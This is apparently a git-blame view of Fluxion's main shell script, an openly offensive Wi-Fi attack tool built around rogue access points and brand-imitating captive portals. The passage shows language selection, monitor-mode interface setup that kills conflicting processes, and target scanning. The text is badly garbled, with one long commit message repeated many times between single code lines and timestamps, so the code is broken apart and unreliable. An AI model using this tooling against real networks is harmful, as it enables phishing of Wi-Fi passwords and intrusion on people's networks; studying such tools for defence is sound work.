Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
##################################### < Language > #####################################
|
2017-09-08 14:28:53 -06:00
|
|
|
function fluxion_set_language() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
|
|
FLUXIONLanguage="en"
|
|
|
|
else
|
|
|
|
# Get all languages available.
|
|
|
|
local languageCodes
|
|
|
|
readarray -t languageCodes < <(ls -1 language | sed -E 's/\.sh//')
|
|
|
|
|
|
|
|
local languages
|
|
|
|
readarray -t languages < <(head -n 3 language/*.sh | grep -E "^# native: " | sed -E 's/# \w+: //')
|
|
|
|
|
|
|
|
io_query_format_fields "$FLUXIONVLine Select your language" "\t$CRed[$CSYel%d$CClr$CRed]$CClr %s / %s\n" languageCodes[@] languages[@]
|
|
|
|
|
|
|
|
FLUXIONLanguage=${IOQueryFormatFields[0]}
|
|
|
|
|
|
|
|
echo # Leave this spacer.
|
|
|
|
|
|
|
|
# Check if all language files are present for the selected language.
|
|
|
|
find -type d -name language | while read language_dir; do
|
|
|
|
if [ ! -e "$language_dir/${FLUXIONLanguage}.sh" ]; then
|
|
|
|
echo -e "$FLUXIONVLine ${CYel}Warning${CClr}, missing language file:"
|
|
|
|
echo -e "\t$language_dir/${FLUXIONLanguage}.sh"
|
|
|
|
return 1
|
|
|
|
fi
|
|
|
|
done
|
|
|
|
|
|
|
|
# If a file is missing, fall back to english.
|
|
|
|
if [ $? -eq 1 ]; then
|
|
|
|
echo -e "\n\n$FLUXIONVLine Falling back to English..."
|
|
|
|
sleep 5
|
|
|
|
FLUXIONLanguage="en"
|
|
|
|
return 1
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
source "$FLUXIONPath/language/$FLUXIONLanguage.sh"
|
|
|
|
fi
|
|
|
|
}
|
2016-10-08 10:23:44 -06:00
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
#################################### < Interfaces > ####################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_unset_interface() {
|
2017-12-31 09:02:12 -07:00
|
|
|
# Unblock interfaces to make them available.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONUnblockingWINotice"
|
|
|
|
rfkill unblock all &>$FLUXIONOutputDevice
|
|
|
|
|
|
|
|
# Find all monitor-mode interfaces & all AP interfaces.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONFindingExtraWINotice"
|
|
|
|
local wiMonitors=($(iwconfig 2>&1 | grep "Mode:Monitor" | awk '{print $1}'))
|
|
|
|
|
|
|
|
# Remove all monitor-mode & all AP interfaces.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONRemovingExtraWINotice"
|
|
|
|
if [ ${#wiMonitors[@]} -gt 0 ]; then
|
|
|
|
local monitor
|
|
|
|
for monitor in ${wiMonitors[@]}; do
|
|
|
|
# Remove any previously created fluxion AP interfaces.
|
|
|
|
#iw dev "FX${monitor:2}AP" del &> $FLUXIONOutputDevice
|
|
|
|
|
|
|
|
# Remove monitoring interface after AP interface.
|
|
|
|
if [[ "$monitor" == *"mon" ]]; then airmon-ng stop "$monitor" >$FLUXIONOutputDevice
|
|
|
|
else interface_set_mode "$monitor" "managed"
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ $FLUXIONDebug ]; then
|
|
|
|
echo -e "Stopped $monitor."
|
|
|
|
fi
|
|
|
|
done
|
|
|
|
fi
|
|
|
|
|
|
|
|
WIMonitor=""
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
}
|
2016-05-15 09:34:47 -06:00
|
|
|
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
# Choose Interface
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_interface() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$WIMonitor" ]; then return 0; fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_unset_interface
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# Gather candidate interfaces.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONFindingWINotice"
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
# List of all available wireless network interfaces.
|
|
|
|
# These will be stored in our array right below.
|
|
|
|
interface_list_wireless
|
2017-08-18 00:52:51 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local wiAlternate=("$FLUXIONGeneralRepeatOption")
|
|
|
|
local wiAlternateInfo=("")
|
|
|
|
local wiAlternateState=("")
|
|
|
|
local wiAlternateColor=("$CClr")
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
interface_prompt "$FLUXIONVLine $FLUXIONInterfaceQuery" InterfaceListWireless[@] \
|
|
|
|
wiAlternate[@] wiAlternateInfo[@] wiAlternateState[@] wiAlternateColor[@]
|
2017-08-18 00:52:51 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local wiSelected=$InterfacePromptIfSelected
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ "$wiSelected" = "$FLUXIONGeneralRepeatOption" ]; then
|
|
|
|
fluxion_unset_interface
|
|
|
|
return 1
|
|
|
|
fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ ! "$FLUXIONWIKillProcesses" -a "$InterfacePromptIfSelectedState" = "[-]" ]; then
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWIError"
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONSelectedBusyWITip"
|
|
|
|
sleep 7
|
|
|
|
fluxion_unset_interface
|
|
|
|
return 1
|
|
|
|
fi
|
2017-09-02 12:28:30 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
if ! fluxion_run_interface "$wiSelected"; then return 1
|
|
|
|
fi
|
Rewrote fluxion for better extensibility.
Most spaghetti code has be removed or replaced with better alternatives.
Refactored most functionality into directory-based, load-on-demand, addon attack scripts.
Changed the naming scheme of variables throughout for consistency (try to stick to one, guys).
Changed color names (variable identifiers) for better consistency.
Changed language file names to follow the scheme "Language.lang"
Changed function naming scheme to better reflect their behavior, more under [ FLUXION V3 ]
Added more comments in code, attempting to decrease the obfuscation of functionality.
Minimized the usage of globals throughout the script, trying to leave absolute essentials, for safety.
Multiple improvements in general to the visuals, the algorithms, and to methods used.
[ FLUXION V3 ]
* Custom attacks may now be developed and installed independently.
* Custom portals may now be installed independently.
* Globally changed functions' naming scheme to use snake-case, systematically prefixed with:
* > set_: function will set/configure something.
* > unset_: function will undo what set_ did.
* > run_: function will execute a blocking command.
* > halt_: function will abort a running command (possibly via signals [SIGABRT])
* > start_: function will start executing something in the background.
* > stop_: function will stop background execution of something, undoing start_.
[ Custom Attacks ]
* Custom attacks must be bundled in a directory, with the name representing the attack.
* Custom attacks must include a load-script "attack.sh" within the attack directory bundle.
* Custom attacks' attack.sh script must implement the following boot functions:
* > unprep_attack: fluxion will load attack.sh and call unprep_attack to reset attack parameters.
* > prep_attack: fluxion will load attack.sh and call prep_attack to set attack parameters.
* > start_attack: fluxion will load attack.sh and call start_attack to start a stopped/unstarted attack.
* > stop_attack: fluxion will load attack.sh and call stop_attack to stop a started attack.
* Custom attacks may signal fluxion to stop an attack when done, by sending it a SIGABRT signal.
[ Custom Portals ]
* Portal-containing directories must now follow the naming scheme "Some Brand_Language.portal"
* Portal directories, after properly being named, must be stored at "attacks/Captive Portal/sites"
Function return values are significant in the script, where anything other than 0 means go back.
2017-08-08 13:14:32 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
WIMonitor="$FluxionRunInterface"
|
2017-09-02 12:28:30 -06:00
|
|
|
}
|
|
|
|
|
|
|
|
function fluxion_run_interface() {
|
2017-12-31 09:02:12 -07:00
|
|
|
if [ ! "$1" ]; then return 1; fi
|
|
|
|
|
|
|
|
local ifSelected="$1"
|
|
|
|
|
|
|
|
if [ "$FLUXIONWIReloadDriver" ]; then
|
|
|
|
# Get selected interface's driver details/info-descriptor.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONGatheringWIInfoNotice"
|
|
|
|
|
|
|
|
if ! interface_driver "$ifSelected"; then
|
|
|
|
echo -e "$FLUXIONVLine$CRed $FLUXIONUnknownWIDriverError"
|
|
|
|
sleep 3
|
|
|
|
return 1
|
|
|
|
fi
|
|
|
|
|
|
|
|
local ifDriver="$InterfaceDriver"
|
|
|
|
|
|
|
|
# I'm not really sure about this conditional here.
|
|
|
|
# FLUXION 2 had the conditional so I kept it there.
|
|
|
|
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then
|
|
|
|
rmmod -f $ifDriver &>$FLUXIONOutputDevice 2>&1
|
|
|
|
|
|
|
|
# Wait while interface becomes unavailable.
|
|
|
|
echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONUnloadingWIDriverNotice)"
|
|
|
|
while interface_physical "$ifSelected"; do sleep 1
|
|
|
|
done
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ "$FLUXIONWIKillProcesses" ]; then
|
|
|
|
# Get list of potentially troublesome programs.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONFindingConflictingProcessesNotice"
|
|
|
|
# This shit has to go reeeeeal soon (airmon-ng)...
|
|
|
|
local conflictPrograms=($(airmon-ng check | awk 'NR>6{print $2}'))
|
|
|
|
|
|
|
|
# Kill potentially troublesome programs.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONKillingConflictingProcessesNotice"
|
|
|
|
for program in "${conflictPrograms[@]}"; do killall "$program" &>$FLUXIONOutputDevice
|
|
|
|
done
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ "$FLUXIONWIReloadDriver" ]; then
|
|
|
|
# I'm not really sure about this conditional here.
|
|
|
|
# FLUXION 2 had the conditional so I kept it there.
|
|
|
|
if [ ! "$(echo $ifDriver | egrep 'rt2800|rt73')" ]; then modprobe "$ifDriver" &>$FLUXIONOutputDevice 2>&1
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Wait while interface becomes available.
|
|
|
|
echo -e "$FLUXIONVLine $(io_dynamic_output $FLUXIONLoadingWIDriverNotice)"
|
|
|
|
while ! interface_physical "$ifSelected"; do sleep 1
|
|
|
|
done
|
|
|
|
fi
|
|
|
|
|
|
|
|
# Activate wireless interface monitor mode and save identifier.
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONStartingWIMonitorNotice"
|
|
|
|
if [ "$FLUXIONAirmonNG" ]; then
|
|
|
|
# TODO: Need to check weather switching to monitor mode below failed.
|
|
|
|
# Notice: Line below could cause issues with different airmon versions.
|
|
|
|
FluxionRunInterface=$(airmon-ng start $ifSelected | awk -F'\[phy[0-9]+\]|\)' '$0~/monitor .* enabled/{print $3}' 2>/dev/null)
|
|
|
|
else
|
|
|
|
if interface_set_mode "$ifSelected" "monitor"; then FluxionRunInterface=$ifSelected
|
|
|
|
else FluxionRunInterface=""
|
|
|
|
fi
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ "$FluxionRunInterface" ]; then
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIEnabledNotice"
|
|
|
|
sleep 3
|
|
|
|
else
|
|
|
|
echo -e "$FLUXIONVLine $FLUXIONMonitorModeWIFailedError"
|
|
|
|
sleep 3
|
|
|
|
return 2
|
|
|
|
fi
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-08-11 17:38:52 -06:00
|
|
|
###################################### < Scanner > #####################################
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_scanner() {
|
2017-12-31 09:02:12 -07:00
|
|
|
# If scanner's already been set and globals are ready, we'll skip setup.
|
|
|
|
if [ "$APTargetSSID" -a "$APTargetChannel" -a "$APTargetEncryption" -a \
|
|
|
|
"$APTargetMAC" -a "$APTargetMakerID" -a "$APRogueMAC" ]; then
|
|
|
|
return 0
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ "$FLUXIONAuto" ]; then
|
|
|
|
fluxion_run_scanner $WIMonitor
|
|
|
|
else
|
|
|
|
local choices=("$FLUXIONScannerChannelOptionAll (2.4GHz)" "$FLUXIONScannerChannelOptionAll (5GHz)" "$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)" "$FLUXIONScannerChannelOptionSpecific" "$FLUXIONGeneralBackOption")
|
|
|
|
io_query_choice "$FLUXIONScannerChannelQuery" choices[@]
|
|
|
|
|
|
|
|
echo
|
|
|
|
|
|
|
|
case "$IOQueryChoice" in
|
|
|
|
"$FLUXIONScannerChannelOptionAll (2.4GHz)") fluxion_run_scanner $WIMonitor "" "bg" ;;
|
|
|
|
"$FLUXIONScannerChannelOptionAll (5GHz)") fluxion_run_scanner $WIMonitor "" "a" ;;
|
|
|
|
"$FLUXIONScannerChannelOptionAll (2.4GHz & 5Ghz)") fluxion_run_scanner $WIMonitor "" "abg" ;;
|
|
|
|
"$FLUXIONScannerChannelOptionSpecific") fluxion_set_scanner_channel ;;
|
|
|
|
"$FLUXIONGeneralBackOption")
|
|
|
|
fluxion_unset_interface
|
|
|
|
return 1
|
|
|
|
;;
|
|
|
|
esac
|
|
|
|
fi
|
|
|
|
|
|
|
|
if [ $? -ne 0 ]; then return 1; fi
|
2016-05-15 09:34:47 -06:00
|
|
|
}
|
|
|
|
|
2017-09-02 12:28:30 -06:00
|
|
|
function fluxion_set_scanner_channel() {
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_header
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo -e "$FLUXIONVLine $FLUXIONScannerChannelQuery"
|
|
|
|
echo
|
|
|
|
echo -e " $FLUXIONScannerChannelSingleTip ${CBlu}6$CClr "
|
|
|
|
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1-5$CClr "
|
|
|
|
echo -e " $FLUXIONScannerChannelMiltipleTip ${CBlu}1,2,5-7,11$CClr "
|
|
|
|
echo
|
|
|
|
echo -ne "$FLUXIONPrompt"
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
local channels
|
|
|
|
read channels
|
2016-05-15 09:34:47 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
echo
|
2017-08-11 17:38:52 -06:00
|
|
|
|
2017-12-31 09:02:12 -07:00
|
|
|
fluxion_run_scanner $WIMonitor $channels
|
|
|
|
if [ $? -ne 0 ]; then return 1; fi
